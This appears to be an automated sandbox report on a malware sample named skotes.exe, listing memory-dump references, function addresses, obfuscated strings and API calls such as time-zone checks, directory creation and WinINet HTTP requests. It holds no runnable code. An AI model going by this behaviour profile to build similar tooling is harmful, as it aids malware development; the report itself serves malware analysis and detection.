Associated: 00000003.00000002.2117335092.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117362237.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117431525.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117457209.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117487774.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117518238.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117545195.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117571611.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117596794.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117632728.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117665227.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117695525.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117726754.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 204d84a308b6672854333c050d6817991dae2893660e77e075a3dbfcec51032f
Instruction ID: dfa1fd3fc10346635a2c47c4979335f5947005efbd469372c3b449668fe3a41a
Opcode Fuzzy Hash: 204d84a308b6672854333c050d6817991dae2893660e77e075a3dbfcec51032f
Instruction Fuzzy Hash: 90212C79A00119AFDF05EFA4DC819BEB7B9EF1A710F110025FA05AB261DB709D419BE0

Analysis Process: skotes.exePID: 8164, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.8%
Total number of Nodes:	775
Total number of Limit Nodes:	65

Executed Functions

Function 0019E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9c9aa5, xrefs: 0019FB8E
MGE+, xrefs: 0019E821
111, xrefs: 0019F7A0
UA==, xrefs: 0019EB0F, 0019ED56
246122658369, xrefs: 0019F737, 0019FA14, 001A05E7, 001A099A
#, xrefs: 001A0624
WTw=, xrefs: 001A097D
WDw=, xrefs: 0019F71D, 0019F9FA
WTs=, xrefs: 001A05CA
MQ==, xrefs: 0019E592
GnNoc2Hc, xrefs: 0019E56C

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 613a752bddd2b1c8af19b9bb52c5ed5c7fd1be1b73763629b1f8ebff7ee19bbb
Instruction ID: 61eb375fa8e4ec809d2a2fa0d213281a9fa0abad7fc2dc720a7dc49a1b595c16
Opcode Fuzzy Hash: 613a752bddd2b1c8af19b9bb52c5ed5c7fd1be1b73763629b1f8ebff7ee19bbb
Instruction Fuzzy Hash: 4182F470A04288EBEF15DF68C9597DE7FB6AB16304F508188E805673C2D7759B88CBD2

Function 001D2517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,001E6758), ref: 001D275C

Strings

Eastern Summer Time, xrefs: 001D27FA
Eastern Standard Time, xrefs: 001D27CB

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: 1bcabc0bbac97096c835e57cc3cc0d1d8307b748baa54eb31038452d7efb364b
Instruction ID: fba5fd0009d58855302d533cd7571b3c054852fcaa0348217962698ca963582c
Opcode Fuzzy Hash: 1bcabc0bbac97096c835e57cc3cc0d1d8307b748baa54eb31038452d7efb364b
Instruction Fuzzy Hash: 50C12471A00205ABDB259F68DC51BBE7BE9EF76314F24419BE8A097392E731CE41CB50

Function 0019EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0019EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0019ED98

Strings

9c9aa5, xrefs: 0019FB8E
mxo1L0x, xrefs: 0019EE84
#, xrefs: 001A0624
UA==, xrefs: 0019EC41, 0019ED56, 0019EF89, 0019F2CE
stoi argument out of range, xrefs: 001A08C4
GiQaT29tduF=, xrefs: 0019FEB6
WTs=, xrefs: 001A05CA
111, xrefs: 0019F7A0
FisgLnsCZO1i, xrefs: 0019FF19
invalid stoi argument, xrefs: 001A08B0
246122658369, xrefs: 0019F737, 0019FA14, 0019FE00, 001A05E7
WDw=, xrefs: 0019F71D, 0019F9FA, 0019FDE3
FCQgKF==, xrefs: 0019FEE4

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: afee13047fe7a857ba09041b16628855e0b5bfe3ffe6663c9ac6bfc635d95ac1
Instruction ID: 1f3395a339763ccf66adec81898f671180b8906ad70ff9c71fd779bbf0adde2c
Opcode Fuzzy Hash: afee13047fe7a857ba09041b16628855e0b5bfe3ffe6663c9ac6bfc635d95ac1
Instruction Fuzzy Hash: 93F26A71A001489BEF19DB38CD997ADBB72AF86304F14819CE409E73D6DB359BC48B91

Function 0019BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,B33B1342,?,00000000), ref: 0019BEB8
InternetOpenW.WININET(001E8DC8,00000000,00000000,00000000,00000000), ref: 0019BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0019BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0019BF36
HttpSendRequestA.WININET(?,00000000), ref: 0019BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0019C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0019C161
InternetCloseHandle.WININET(?), ref: 0019C187
InternetCloseHandle.WININET(?), ref: 0019C18F
InternetCloseHandle.WININET(?), ref: 0019C197

Strings

8HJUeMD Lq5=, xrefs: 0019C465
invalid stoi argument, xrefs: 0019E4F4
RE1NXF==, xrefs: 0019BF0E
stoi argument out of range, xrefs: 0019E4EA
8HJUeIfzLo==, xrefs: 0019C3CB, 0019C623

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
